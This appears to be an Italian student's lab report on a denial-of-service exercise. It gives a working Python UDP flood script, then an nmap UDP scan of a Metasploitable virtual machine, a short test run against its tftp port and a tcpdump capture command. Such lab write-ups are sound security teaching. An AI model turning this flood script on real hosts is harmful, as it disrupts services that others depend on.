Attacchi DoS (Denial of Service)
Simulazione di un UDP Flood

S6/L3

15/01/2025

Requisiti del programma

1. **Input dell'IP Target:**
- Il programma deve richiedere all'utente di inserire l'IP della macchina target.

2. **Input della Porta Target:**
   - Il programma deve richiedere all'utente di inserire la porta UDP della macchina target.

3. **Costruzione del pacchetto:**
   - La grandezza dei pacchetti da inviare deve essere di 1 KB per pacchetto.
   - Suggerimento: per costruire il pacchetto da 1 KB, potete utilizzare il modulo random per la generazione di byte casuali.

4. **Numero di Pacchetti da Inviare:**
   - Il programma deve chiedere all'utente quanti pacchetti da 1 KB inviare.

Svolgimento

Ho scritto il codice su kali

```
  GNU nano 8.1                          dosprova.py
import socket
import random

def generate_packet(size):
    return bytes([random.randint(0, 255) for x in range(size)])

def udp_flood(ip, port, packet_size, packet_count):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    for x in range(packet_count):
        packet = generate_packet(packet_size)
        sock.sendto(packet, (ip, port))

target_ip = input("Inserisci l'IP della macchina target: ")
target_port = int(input("Inserisci la porta UDP della macchina target: "))
packet_size = 1024
packet_count = int(input("Quanti pacchetti vuoi inviare? "))

udp_flood(target_ip, target_port, packet_size, packet_count)
print("I pacchetti sono stati inviati.")
```

Per controllare quali porte UDP fossero aperte su metasploitable ho eseguito sulla MV questo comando:

nmap -sU <indirizzo IP di Metasploitable>

```
msfadmin@metasploitable:~$ nmap -sU 192.168.60.2

Starting Nmap 4.53 ( http://insecure.org ) at 2025-01-15 08:53 EST
Interesting ports on 192.168.60.2:
Not shown: 1481 closed ports
PORT     STATE         SERVICE
53/udp   open|filtered domain
69/udp   open|filtered tftp
111/udp  open|filtered rpcbind
137/udp  open|filtered netbios-ns
138/udp  open|filtered netbios-dgm
948/udp  open|filtered unknown
2049/udp open|filtered nfs
```

Ho scelto la porta 69 dove cè il servizio tftp

```
┌──(kali㉿kali)-[~/Desktop]
└─$ python dosprova.py
Inserisci l'IP della macchina target: 192.168.60.2
Inserisci la porta UDP della macchina target: 69
Quanti pacchetti vuoi inviare? 5
I pacchetti sono stati inviati.
```

In un'altra scheda terminale ho eseguito questo comando per catturare i pacchetti che vengono mandati in tempo reale

sudo tcpdump -i <interfaccia> udp and host <indirizzo IP di Metasploitable>